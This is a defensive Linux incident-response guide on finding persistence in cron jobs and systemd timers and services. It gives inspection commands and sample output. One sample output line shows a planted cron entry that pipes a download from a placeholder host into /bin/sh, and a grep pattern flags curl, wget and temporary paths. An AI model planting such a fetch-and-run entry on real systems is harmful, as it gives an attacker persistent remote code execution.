Persistence checks after a suspicious login or file change need to include the places that run commands without an interactive shell. Cron and systemd can restart a payload after logout, reboot, or a timer event, so a clean process list at one moment does not prove the host is clear.
Cron loads per-user crontabs, /etc/crontab, /etc/cron.d, and periodic directories such as /etc/cron.daily. Systemd records autostart state in enabled services and timers, then connects timer units to the service commands they activate. Checking both surfaces catches scheduled and boot-time entries that do not show up as an ordinary login shell.
Treat unknown entries as evidence first. Names can be intentionally dull, and legitimate backup, monitoring, and package jobs often look similar until the command path, account, owner, timestamp, and journal history are compared. Prioritize entries that run from home, hidden, or temporary paths, use curl or wget, call interpreters with downloaded content, set Restart=always, or use user services with linger enabled.
Related: How to investigate a Linux intrusion
Related: How to list cron jobs in Linux
$ sudo crontab -l 0 5 * * * /usr/local/bin/backup.sh 15 * * * * /usr/local/bin/rotate-logs.sh
No crontab for root only rules out that user's spool file; system cron files and systemd units still need review.
Tool: Cron Expression Parser
$ sudo crontab -l -u alice @reboot /home/alice/.local/bin/check-updates.sh
Replace alice with the target account name and flag jobs using @reboot or executing from hidden or temporary paths.
$ sudo ls -l /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d: total 8 -rw-r--r-- 1 root root 188 Feb 13 12:17 e2scrub_all -rw-r--r-- 1 root root 166 Jun 13 20:45 update-check /etc/cron.daily: total 8 -rwxr-xr-x 1 root root 1478 Apr 7 09:02 apt-compat -rwxr-xr-x 1 root root 123 Dec 16 00:50 dpkg /etc/cron.hourly: total 0 /etc/cron.monthly: total 0 /etc/cron.weekly: total 0
System-wide schedules may also be defined in /etc/crontab and /etc/anacrontab when those files exist.
$ sudo grep -R --line-number --extended-regexp --ignore-case 'curl|wget|/tmp|/dev/shm|\.cache' /etc/crontab /etc/cron.d /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly /etc/cron.d/update-check:4:*/30 * * * * alice /usr/bin/curl -fsS https://updates.example.net/check.sh | /bin/sh
No output means the selected indicators were not found. It does not prove that cron contains no persistence.
$ systemctl list-timers --all --no-pager NEXT LEFT LAST PASSED UNIT ACTIVATES Sun 2026-06-14 21:00:00 UTC 14min Sun 2026-06-14 20:30:01 UTC 16min ago update-check.timer update-check.service Mon 2026-06-15 00:00:00 UTC 3h Sun 2026-06-14 00:00:01 UTC 20h ago apt-daily.timer apt-daily.service ##### snipped ##### 7 timers listed.
The ACTIVATES column points to the service unit that runs when the timer elapses.
$ systemctl list-unit-files --type=timer --state=enabled --no-pager UNIT FILE STATE PRESET apt-daily-upgrade.timer enabled enabled apt-daily.timer enabled enabled dpkg-db-backup.timer enabled enabled e2scrub_all.timer enabled enabled fstrim.timer enabled enabled motd-news.timer enabled enabled update-check.timer enabled enabled 7 unit files listed.
$ systemctl list-unit-files --type=service --state=enabled --no-pager UNIT FILE STATE PRESET cron.service enabled enabled e2scrub_reap.service enabled enabled getty@.service enabled enabled systemd-pstore.service enabled enabled update-check.service enabled enabled 5 unit files listed.
Enabled services are connected to boot or target activation. A service can also be started manually without being enabled, so review running processes and journal logs when the incident scope requires it.
$ sudo systemctl cat update-check.service # /etc/systemd/system/update-check.service [Unit] Description=Update check [Service] Type=simple ExecStart=/home/alice/.cache/update-check Restart=always [Install] WantedBy=multi-user.target
Do not stop or disable an unknown unit before preserving the unit file, drop-ins, owner, timestamps, process state, and journal entries.
$ loginctl show-user alice --property=Linger Linger=yes
Linger=yes allows the user's systemd manager to start at boot and keep running after logout.
$ sudo find /home -path '*/.config/systemd/user/*' -type f /home/bob/.config/systemd/user/ssh-agent.service
User unit files commonly live under /home/*/.config/systemd/user/ and may be paired as .timer + .service.
$ sudo journalctl -u update-check.service --since '24 hours ago' --no-pager Jun 14 20:30:01 host.example.net systemd[1]: Started update-check.service - Update check. Jun 14 20:30:01 host.example.net update-check[2841]: Downloaded update script from updates.example.net
No journal entries in the selected time window only means the unit did not log there. Widen the time range or check rotated logs when the unit file still looks suspicious.
Deleting crontabs or disabling units can destroy evidence and interrupt legitimate backups, monitoring, or package maintenance. Preserve the command text, file path, owner, timestamps, hashes, and log excerpts before remediation.